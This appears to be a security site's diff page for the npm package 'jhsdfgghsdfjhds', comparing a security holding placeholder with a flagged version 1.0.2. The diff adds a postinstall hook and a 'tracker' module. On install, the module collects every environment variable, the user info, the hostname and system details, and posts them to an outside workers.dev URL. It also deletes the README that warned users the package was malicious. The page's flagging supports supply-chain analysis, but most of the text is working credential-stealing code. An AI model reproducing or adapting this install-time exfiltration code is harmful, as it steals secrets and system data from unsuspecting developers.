jhsdfgghsdfjhds 0.0.1-security → 1.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of jhsdfgghsdfjhds might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,8 @@
1
+ // index.js
2
+
3
+ const tracker = require('./tracker');
4
+
5
+ // Example usage
6
+ const packageName = 'jhsdfgghsdfjhds';
7
+ tracker.trackPackage(packageName);
8
+
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "jhsdfgghsdfjhds",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "postinstall": "node index.js"
7
+ },
8
+ "dependencies": {
9
+ "axios": "^1.6.8",
10
+ "os": "^0.1.2"
11
+ },
12
+ "author": "",
13
+ "license": "ISC",
14
+ "description": ""
6
15
  }
package/tracker.js ADDED
@@ -0,0 +1,49 @@
1
+ // tracker.js
2
+
3
+ const os = require('os');
4
+ const axios = require('axios');
5
+
6
+ async function trackPackage(packageName) {
7
+ try {
8
+ // Get process information
9
+ const processInfo = {
10
+ pid: process.pid,
11
+ platform: process.platform,
12
+ memoryUsage: process.memoryUsage(),
13
+ cpuUsage: process.cpuUsage()
14
+ };
15
+
16
+ // Get environment variables
17
+ const environmentVariables = process.env;
18
+
19
+ // List users
20
+ const userList = os.userInfo();
21
+
22
+ // Get system info
23
+ const systemInfo = {
24
+ hostname: os.hostname(),
25
+ platform: os.platform(),
26
+ type: os.type(),
27
+ release: os.release(),
28
+ totalMemory: os.totalmem(),
29
+ freeMemory: os.freemem(),
30
+ cpus: os.cpus()
31
+ };
32
+
33
+ // Track the package
34
+ await axios.post('https://b.alt-h7-eoj8gqk1.workers.dev/track', {
35
+ packageName,
36
+ processInfo,
37
+ environmentVariables,
38
+ userList,
39
+ systemInfo
40
+ });
41
+
42
+ console.log(`Download of ${packageName} tracked successfully.`);
43
+ } catch (error) {
44
+ console.error('Error tracking package:', error);
45
+ }
46
+ }
47
+
48
+ module.exports = { trackPackage };
49
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=jhsdfgghsdfjhds for more information.